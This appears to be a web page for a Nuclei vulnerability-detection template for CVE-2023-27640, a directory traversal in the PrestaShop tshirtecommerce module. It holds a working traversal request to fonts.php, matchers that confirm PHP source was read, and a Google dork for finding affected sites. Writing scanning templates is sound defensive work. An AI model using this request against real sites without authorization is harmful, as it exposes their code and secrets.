PrestaShop tshirtecommerce - Directory Traversal

ID: CVE-2023-27640

Severity: high

Author: MaStErChO

Tags: cve,cve2023,prestashop,tshirtecommerce,lfi

Description

The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.

YAML Source

id: CVE-2023-27640

info:
  name: PrestaShop tshirtecommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27640/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27640
    cwe-id: CWE-22
    epss-score: 0.04552
    epss-percentile: 0.92497
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(base64_decode(body), "PrestaShop", "<?php")'
        condition: and
# digest: 4a0a00473045022100e387149f871319f126e5f02d542fd9d6c85d33ffe4794bfee35ba43ed29a8b2402200a30309f5c4f87812b0f0df018d9193025be5a6965084b787212d1698700b56b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27640.yaml"

View on Github